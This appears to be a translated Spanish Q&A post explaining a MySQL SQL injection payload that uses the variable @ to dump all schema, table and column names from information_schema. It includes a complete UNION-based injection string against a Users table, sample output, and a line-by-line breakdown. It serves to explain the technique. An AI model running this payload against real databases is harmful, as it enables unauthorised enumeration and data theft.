¿Qué significa (@) y (@: = 0x00) en esta carga útil?
-
@
- es el nombre de la variable
-
@:=0x00
: es la asignación de cero en esta variable.
Nota: :=
es el operador-asignación
Gracias por @Frank Cedeno y @strnk por su Q & A en los comentarios.
@Frank Cedeno: ¿Cómo / ! 12345sELecT / se convierte en seleccionado?
@strnk: esta es una extensión específica de MySQL para comentarios SQL , la sELecT
solo se incluye en la consulta si la versión del servidor es mayor o igual a 12345 (1.23.45), por lo que filtra los servidores que no son MySQL
Más información:
De websec sql_injection :
Recuperar varias tablas / columnas a la vez
SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x
Ejemplo:
SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x), 4--+';
Salida:
[ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME
[ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME
[ information_schema ] >CHARACTER_SETS > DESCRIPTION
[ information_schema ] >CHARACTER_SETS > MAXLEN
[ information_schema ] >COLLATIONS > COLLATION_NAME
[ information_schema ] >COLLATIONS > CHARACTER_SET_NAME
[ information_schema ] >COLLATIONS > ID
[ information_schema ] >COLLATIONS > IS_DEFAULT
[ information_schema ] >COLLATIONS > IS_COMPILED
Esta respuesta de Stackoverflow explica el código SQL:
En primer lugar, haría la consulta un poco más legible por
reformatearlo:
1) SELECT (SELECT (@)
2) FROM (SELECT (@:=0x00),
3) (SELECT (@)
4) FROM (information_schema.columns)
5) WHERE (table_schema >= @)
6) AND (@) IN (@:=CONCAT(@,0x3C,0x62,0x72,0x3E,' [ ',table_schema,' ] > ',table_name,' > ',column_name))
7) )
8) )
9) a);
La asignación de @ es la siguiente:
- En la línea 3 obtiene el valor 0x00 (Decimal: 0)
- En la línea 5, este valor se usa para mayor que (table_schema > = 0)
- La línea 6 es una manera de concentrar cada esquema, tabla y nombre de columna en @
- @ se devuelve en la línea 1 y contiene una lista concatenada de sus estructuras
En la línea 6 se agrega un <br>
adicional (0x3C, 0x62,0x72,0x3E) a la
variable para hacer que la salida sea más legible